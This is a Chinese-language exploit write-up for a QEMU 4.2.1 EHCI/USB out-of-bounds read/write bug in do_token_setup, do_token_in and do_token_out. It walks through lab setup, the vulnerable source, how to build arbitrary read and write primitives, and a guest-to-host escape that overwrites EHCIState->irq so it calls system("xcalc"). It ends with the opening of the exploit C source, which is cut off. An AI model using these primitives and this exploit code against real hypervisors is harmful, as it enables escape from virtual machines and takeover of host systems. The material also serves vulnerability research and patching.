环境搭建
(1)制作qcow2虚拟机镜像
创建qcow2硬盘文件:
qemu-img create -f qcow2 ubuntu-server.qcow2 5G
制作linux qcow2镜像:
sudo kvm -m 1028 -cdrom /mnt/hgfs/Share/VM-study/ubuntu-18.04.5-live-server-amd64.iso -drive file=ubuntu-server.qcow2,if=virtio -net nic,model=virtio -net tap,script=no -boot d -vnc :0
后续使用vnc-view连接 127.0.0.1:0 进行系统安装
(2)源码编译qemu
为了qemu启动能使用qxl-vga设备,需要提前安装spice,开启spice进行编译
a、安装spice依赖:
安装spice-protocol:
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure
make
sudo make install
安装celt:
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz
cd celt-0.5.1.3/
./configure
make
sudo make install
安装依赖:
sudo apt install libjpeg-dev
sudo apt-get install libsasl2-dev
安装spice-server
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure
make
sudo make install
b、编译qemu源码
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v4.2.1
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice
make
编译出来qemu的路径为./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64
c、制作usb设备:https://blog.csdn.net/kingtj/article/details/82952783
qemu-img create -f raw disk_01.img 32M
mkfs.vfat disk_01.img
d、启动脚本
/home/osboxes/study/vul/qemu-14364/src/qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
-machine q35 \
-m 1G \
-hda ubuntu-server.qcow2 \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22 \
-enable-kvm \
-usb \
-drive if=none,format=raw,id=disk1,file=/home/osboxes/study/vul/qemu-14364/disk_01.img \
-device usb-storage,drive=disk1 \
-device qxl-vga \
e、调试断点(自选)
b do_token_setup
b do_token_in
b do_token_out
b ehci_opreg_write
b usb_ehci_init
b ehci_work_bh
漏洞分析
关键结构:
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;
/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;
int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096]; <-----------
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];
QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;
int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};
EHCIState 结构:
struct EHCIState {
USBBus bus;
DeviceState *device;
qemu_irq irq;
MemoryRegion mem;
AddressSpace *as;
MemoryRegion mem_caps;
MemoryRegion mem_opreg;
MemoryRegion mem_ports;
int companion_count;
bool companion_enable;
uint16_t capsbase;
uint16_t opregbase;
uint16_t portscbase;
uint16_t portnr;
/* properties */
uint32_t maxframes;
/*
* EHCI spec version 1.0 Section 2.3
* Host Controller Operational Registers
*/
uint8_t caps[CAPA_SIZE];
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};
uint32_t portsc[NB_PORTS];
/*
* Internal states, shadow registers, etc
*/
QEMUTimer *frame_timer;
QEMUBH *async_bh;
bool working;
uint32_t astate; /* Current state in asynchronous schedule */
uint32_t pstate; /* Current state in periodic schedule */
USBPort ports[NB_PORTS];
USBPort *companion_ports[NB_PORTS];
uint32_t usbsts_pending;
uint32_t usbsts_frindex;
EHCIQueueHead aqueues;
EHCIQueueHead pqueues;
/* which address to look at next */
uint32_t a_fetch_addr;
uint32_t p_fetch_addr;
USBPacket ipacket;
QEMUSGList isgl;
uint64_t last_run_ns;
uint32_t async_stepdown;
uint32_t periodic_sched_active;
bool int_req_by_async;
VMChangeStateEntry *vmstate;
};
漏洞点在于 qemu-4.2.1\hw\usb\core.c: do_token_setup函数中
【1】处s->setupbuf的内容用户可控,可赋值给s->setuplen最大 0xff<<8 |0xff = 0xffff大小,而【2】处的判断,由上面USBDevice结构可知,s->data_buf的大小为4096个字节。过大的s->setup_len 会进行返回,但s->setup_len已经被赋值了,该处的检查没有起到效果。
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}
usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; // <----【1】
if (s->setup_len > sizeof(s->data_buf)) { // <----【2】
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];
if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}
if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}
p->actual_length = 8;
}
之后在qemu-4.2.1\hw\usb\core.c:do_token_in 中【3】处使用s->setup_len 获得 len,而p->iov.size 也由用户可控,例如设置p->iov.size 大小为0x1f00,则len 最大为0x1f00,大于s->data_buf 的size:4096,所以会在【4】的复制操作造成越界访问。
static void do_token_in(USBDevice *s, USBPacket *p)
{
int request, value, index;
assert(p->ep->nr == 0);
request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];
switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index; // <----- 【3】
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);// <---- 【4】
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
default:
p->status = USB_RET_STALL;
}
}
对于do_token_in中的usb_packet_copy 最终会调用到iov_from_buf, 将s->data_buf + s->setup_index 复制到用户态空间,造成越界读。
static inline size_t
iov_from_buf(const struct iovec *iov, unsigned int iov_cnt,
size_t offset, const void *buf, size_t bytes)
{
if (__builtin_constant_p(bytes) && iov_cnt &&
offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
memcpy(iov[0].iov_base + offset, buf, bytes);
return bytes;
} else {
return iov_from_buf_full(iov, iov_cnt, offset, buf, bytes);
}
}
相对的,do_token_out用于越界写。
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);
switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;
case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);// <--------
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
default:
p->status = USB_RET_STALL;
}
}
do_token_out中的usb_packet_copy 最终会调用到 iov_to_buf:
static inline size_t
iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt,
size_t offset, void *buf, size_t bytes)
{
if (__builtin_constant_p(bytes) && iov_cnt &&
offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
memcpy(buf, iov[0].iov_base + offset, bytes);
return bytes;
} else {
return iov_to_buf_full(iov, iov_cnt, offset, buf, bytes);
}
}
漏洞利用一
设置漏洞触发环境
(1)qemu虚拟地址转成物理地址
详细见链接:https://xz.aliyun.com/t/6562
(2)set_EHCIState()
首先通过mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); 映射到usb 设备的内存。
对usb的初始化中,对 EHCIState 结构中的opreg 的基地址设置在这块内存的偏移0x20。
static void usb_ehci_pci_init(Object *obj)
{
DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
EHCIPCIState *i = PCI_EHCI(obj);
EHCIState *s = &i->ehci;
s->caps[0x09] = 0x68; /* EECP */
s->capsbase = 0x00;
s->opregbase = 0x20; // <----------------------
s->portscbase = 0x44;
s->portnr = NB_PORTS;
if (!dc->hotpluggable) {
s->companion_enable = true;
}
usb_ehci_init(s, DEVICE(obj));
}
对这块内存操作可以直接设置opreg的内容。opreg的内容包括:
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};
在usb_ehci_init 函数中又注册了对opreg区域读写的操作函数。
void usb_ehci_init(EHCIState *s, DeviceState *dev)
{
/* 2.2 host controller interface version */
s->caps[0x00] = (uint8_t)(s->opregbase - s->capsbase);
s->caps[0x01] = 0x00;
s->caps[0x02] = 0x00;
s->caps[0x03] = 0x01; /* HC version */
s->caps[0x04] = s->portnr; /* Number of downstream ports */
s->caps[0x05] = 0x00; /* No companion ports at present */
s->caps[0x06] = 0x00;
s->caps[0x07] = 0x00;
s->caps[0x08] = 0x80; /* We can cache whole frame, no 64-bit */
s->caps[0x0a] = 0x00;
s->caps[0x0b] = 0x00;
QTAILQ_INIT(&s->aqueues);
QTAILQ_INIT(&s->pqueues);
usb_packet_init(&s->ipacket);
memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);
memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,
"capabilities", CAPA_SIZE);
memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s,
"operational", s->portscbase);
memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,
"ports", 4 * s->portnr);
memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);
memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);
memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,
&s->mem_ports);
}
static const MemoryRegionOps ehci_mmio_opreg_ops = {
.read = ehci_opreg_read,
.write = ehci_opreg_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};
所以对opreg的写操作会调用到ehci_opreg_write函数,如 mmio_write(0x20, 0xddaa); 会调用ehci_opreg_write,此时传入的addr为0(0x20-0x20=0),表示对opreg的偏移0,后续根据addr进行选择处理,0进入USBCMD流程,即对usbcmd进行覆写,将EHCIState->usbcmd 改写成0xddaa。
static void ehci_opreg_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
uint32_t *mmio = s->opreg + (addr >> 2);
uint32_t old = *mmio;
int i;
trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val);
switch (addr) {
case USBCMD:
if (val & USBCMD_HCRESET) {
ehci_reset(s);
val = s->usbcmd;
break;
}
下面讲讲set_EHCIState的目的,分别设置opreg的 periodiclistbase和usbcmd 字段:
void set_EHCIState(){
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}
漏洞函数触发的调用链如下:
► f 0 5597194507ac do_token_setup+16
f 1 5597194511ce usb_process_one+134
f 2 5597194513d9 usb_handle_packet+331
f 3 559719469769 ehci_execute+616
f 4 55971946ab96 ehci_state_execute+257
f 5 55971946b0a1 ehci_advance_state+522
f 6 55971946b4f1 ehci_advance_periodic_state+352
f 7 55971946b7f4 ehci_work_bh+422 <-----------------------
f 8 55971967eead aio_bh_call+33
f 9 55971967ef45 aio_bh_poll+149
f 10 559719683c1e aio_dispatch+42
在ehci_work_bh中要经过下面判断才能进入ehci_advance_periodic_state(周期性传输):
if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE)
……
->
static inline bool ehci_periodic_enabled(EHCIState *s)
{
return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE); // <---------
}
->
static inline bool ehci_enabled(EHCIState *s)
{
return s->usbcmd & USBCMD_RUNSTOP; //<------------
}
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USBCMD_ASE (1 << 5)
而要进入异步传输则设置usbcmd为 USBCMD_ASE:
if (ehci_async_enabled(ehci) || ehci->astate != EST_INACTIVE) {
need_timer++;
ehci_advance_async_state(ehci);
}
所以要设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE 进入ehci_advance_periodic_state。
static void ehci_advance_periodic_state(EHCIState *ehci)
{
uint32_t entry;
uint32_t list;
const int async = 0;
// 4.6
switch(ehci_get_state(ehci, async)) {
case EST_INACTIVE:
if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci)) {
ehci_set_state(ehci, async, EST_ACTIVE);
// No break, fall through to ACTIVE
} else
break;
case EST_ACTIVE:
if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {
ehci_queues_rip_all(ehci, async);
ehci_set_state(ehci, async, EST_INACTIVE);
break;
}
list = ehci->periodiclistbase & 0xfffff000; 【1】<---------
/* check that register has been set */
if (list == 0) {
break;
}
list |= ((ehci->frindex & 0x1ff8) >> 1); 【2】<------------
if (get_dwords(ehci, list, &entry, 1) < 0) {
break;
}
DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n",
ehci->frindex / 8, list, entry);
ehci_set_fetch_addr(ehci, async,entry); 【3】<-------------
ehci_set_state(ehci, async, EST_FETCHENTRY);
ehci_advance_state(ehci, async); // <-----------
ehci_queues_rip_unused(ehci, async);
break;
default:
/* this should only be due to a developer mistake */
fprintf(stderr, "ehci: Bad periodic state %d. "
"Resetting to active\n", ehci->pstate);
g_assert_not_reached();
}
}
【1】处ehci->periodiclistbase已经被我们填充为dmabuf的物理地址,得到的list经过【2】处处理后相当于list = virt2phys(dmabuf)+4,之后通过【3】处ehci_set_fetch_addr函数将list上的内容,即virt2phys(qh)+0x2写入s->p_fetch_addr。
static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr)
{
if (async) {
s->a_fetch_addr = addr;
} else {
s->p_fetch_addr = addr;
}
}
get_dwords将list上的内容写入entry,所以我们在dmabuf + 4 填充了virt2phys(qh)+0x2; 作为entry。
entry = dmabuf + 4;
*entry = virt2phys(qh)+0x2;
这里entry为什么要+2呢?回到源码,ehci_advance_periodic_state调用到ehci_advance_state:
static void ehci_advance_state(EHCIState *ehci, int async)
{
EHCIQueue *q = NULL;
int itd_count = 0;
int again;
do {
switch(ehci_get_state(ehci, async)) {
case EST_WAITLISTHEAD:
again = ehci_state_waitlisthead(ehci, async);
break;
case EST_FETCHENTRY:
again = ehci_state_fetchentry(ehci, async);
break;
case EST_FETCHQH:
q = ehci_state_fetchqh(ehci, async);
if (q != NULL) {
assert(q->async == async);
again = 1;
} else {
again = 0;
}
break;
……
我们需要最终运行到EST_FETCHQH,得到qh结构。
do-while循环里第一次运行到EST_FETCHENTRY,通过ehci_state_fetchentry得到entry,即s->p_fetch_addr,我们之前填充的virt2phys(qh)+0x2。
static int ehci_state_fetchentry(EHCIState *ehci, int async)
{
int again = 0;
uint32_t entry = ehci_get_fetch_addr(ehci, async);
if (NLPTR_TBIT(entry)) {
ehci_set_state(ehci, async, EST_ACTIVE);
goto out;
}
/* section 4.8, only QH in async schedule */
if (async && (NLPTR_TYPE_GET(entry) != NLPTR_TYPE_QH)) {
fprintf(stderr, "non queue head request in async schedule\n");
return -1;
}
switch (NLPTR_TYPE_GET(entry)) {
case NLPTR_TYPE_QH:
ehci_set_state(ehci, async, EST_FETCHQH);
again = 1;
break;
在switch (NLPTR_TYPE_GET(entry)) 判断下,我们要进入case NLPTR_TYPE_QH,通过ehci_set_state(ehci, async, EST_FETCHQH), 使得下次do-while循环中运行到EST_FETCHQH,得到qh结构。而NLPTR_TYPE_GET 宏定义内容如下:
#define NLPTR_TYPE_QH 1 // queue head
#define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)
所以需要将entry的内容填充为virt2phys(qh)+0x2,因为(((2) >> 1) & 3) =1。
之后ehci_state_fetchqh 会为entry分配空间, 最终ehci_advance_state得到EHCIqh的地址,然后调用ehci_state_execute,触发到漏洞函数。
(3) reset and enable port
void reset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
0x64 的偏移对应到 portsc,对该字段写操作会调用到ehci_port_write:
static void ehci_port_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
int port = addr >> 2;
uint32_t *portsc = &s->portsc[port];
uint32_t old = *portsc;
USBDevice *dev = s->ports[port].dev;
trace_usb_ehci_portsc_write(addr + s->portscbase, addr >> 2, val);
/* Clear rwc bits */
*portsc &= ~(val & PORTSC_RWC_MASK);
/* The guest may clear, but not set the PED bit */
*portsc &= val | ~PORTSC_PED;
/* POWNER is masked out by RO_MASK as it is RO when we've no companion */
handle_port_owner_write(s, port, val);
/* And finally apply RO_MASK */
val &= PORTSC_RO_MASK;
if ((val & PORTSC_PRESET) && !(*portsc & PORTSC_PRESET)) {
trace_usb_ehci_port_reset(port, 1); 【1】<--------------
}
if (!(val & PORTSC_PRESET) &&(*portsc & PORTSC_PRESET)) {
trace_usb_ehci_port_reset(port, 0);
if (dev && dev->attached) {
usb_port_reset(&s->ports[port]);
*portsc &= ~PORTSC_CSC;
}
/*
* Table 2.16 Set the enable bit(and enable bit change) to indicate
* to SW that this port has a high speed device attached
*/
if (dev && dev->attached && (dev->speedmask & USB_SPEED_MASK_HIGH)) {
val |= PORTSC_PED; 【2】<-------------------
}
}
if ((val & PORTSC_SUSPEND) && !(*portsc & PORTSC_SUSPEND)) {
trace_usb_ehci_port_suspend(port);
}
if (!(val & PORTSC_FPRES) && (*portsc & PORTSC_FPRES)) {
trace_usb_ehci_port_resume(port);
val &= ~PORTSC_SUSPEND;
}
*portsc &= ~PORTSC_RO_MASK;
*portsc |= val;
trace_usb_ehci_portsc_change(addr + s->portscbase, addr >> 2, *portsc, old);
}
设置PORTSC_PRESET会调用到【1】处trace_usb_ehci_port_reset(port, 1);进行重置,设置PORTSC_PED后会调用到【2】处,enable port。
前期漏洞触发环境已经设置好了,就可以进行越界读写了
越界读
(1)我们先调用do_token_setup 设置s->setup_len 的长度为越界长度,要进入do_token_setup 需要通过设置qtd->token值:
#define QTD_TOKEN_PID_MASK 0x00000300
#define QTD_TOKEN_PID_SH 8
#define get_field(data, field) \
(((data) & field##_MASK) >> field##_SH)
#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN 0x69 /* device -> host */
#define USB_TOKEN_OUT 0xe1 /* host -> device */
static int ehci_get_pid(EHCIqtd *qtd)
{
switch (get_field(qtd->token, QTD_TOKEN_PID)) {
case 0:
return USB_TOKEN_OUT;
case 1:
return USB_TOKEN_IN;
case 2:
return USB_TOKEN_SETUP;
default:
fprintf(stderr, "bad token\n");
return 0;
}
}
所以get_field的实际操作为 ((qtd->token)&0x300) >>0x8,所以对于操作的判断实际上是取token第8个和第9个bit进行判断。所以设置成 2 << 8 即可。之后设置setup_buf[7]和setup_buf[6] 构造要越界的长度。
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
(2)设置qtd->token 为 1<<8,进入do_token_in, 这里还要设置setup_buf[0]为USB_DIR_IN,才能调用usb_packet_copy,将s->data_buf复制到qtd->bufptr[0],进行泄露。其中 p->iov.size大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH 控制。
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
越界写
同样需要先设置越界长度,再设置qtd->token 为 0<<8,进入do_token_out,同时设置setup_buf[0]为USB_DIR_OUT,将qtd->bufptr[0]复制到s->data_buf进行覆写。
case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;
这里需要注意的是经过几次调用后,s->setup_index >= s->setup_len 会满足条件,s->setup_state 会被设置成 SETUP_STATE_ACK,可以通过调用一次do_token_setup,设置正常长度,将s->setup_state重新设置成SETUP_STATE_DATA。
do_token_setup:
…………
if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}
if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA; // <------------
}
任意读原语
(1)首先设置越界长度为0x1010
(2)进行越界写,将setup_len 设置成0x1010,将setup_index设置成0xfffffff8-0x1010, 因为usb_packet_copy后面还有s->setup_index += len 操作,此时s->setup_index 就会被设置成0xfffffff8。
usb_packet_copy(p, s->data_buf + s->setup_index, len);
s->setup_index += len;
(3)再次进行越界写,此时从data_buf-8处开始写,覆盖了setup字段,将setup[0] 设置成USB_DIR_IN,并且将setup_index 覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时:len = s->setup_len - s->setup_index操作(0x1010-(-0x8)=0x1018),使得len变成0x1018。
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);
(4)最后越界读,就能读取目标地址的内容
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset - 0x1018);// 这里offset为0x8,是因为从data_buf-8 处开始写。
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);
}
任意写原语
(1)首先设置越界长度为0x1010
(2)越界写,将setup_len 设置成目标偏移-0x1010,usb_packet_copy后面的s->setup_index += len 操作后,s->setup_index就变成目标偏移offset。将setup_index设置成目标偏移+0x8, 经过下次越界写的len = s->setup_len - s->setup_index =》len=(offset+0x8)-offset=0x8,只修改目标地址8个字节的内容。
(3)再次越界写,修改目标地址的内容。
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}
整体利用思路
整体利用思路和 https://www.freebuf.com/vuls/247829.html 相同:
(1)通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。
(2)查找越界读出来的内容,看是否有函数地址,就可以通过ida获取该函数的偏移,进而得到elf加载的基地址,以及system@plt的地址。
(3)USBDevice 会在 realize 时,调用usb_claim_port,将USBDevice中的port字段设置为指向
EHCIState中的ports的地址, 读取USBDevice->port的内容就能获得EHCIState->ports 的地址,减去偏移得到 EHCIState的地址。进而得到EHCIState->irq地址。
(4)利用任意写将EHCIState->irq内容填充为伪造的irq地址,将handler 填充成system@plt地址,opaque填充成payload的地址。
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
通过mmio 读写触发ehci_update_irq -> qemu_set_irq,最终执行system("xcalc"),完成利用。
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
(5)最后将保存的EHCIState->irq原内容填充回去,由于会多次调用qemu_set_irq,所以会执行多次payload。
exp代码:
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr;
#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};
struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */
/* endpoint characteristics */
uint32_t epchar;
/* endpoint capabilities */
uint32_t epcap;
uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqh;
typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;
uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
// Assert page alignment
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
// Assert page present
phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
return phys;
}
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void init(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
